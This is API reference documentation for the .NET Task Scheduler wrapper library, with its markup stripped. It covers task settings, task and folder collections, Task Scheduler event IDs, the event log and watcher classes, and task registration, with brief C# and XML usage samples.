minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific 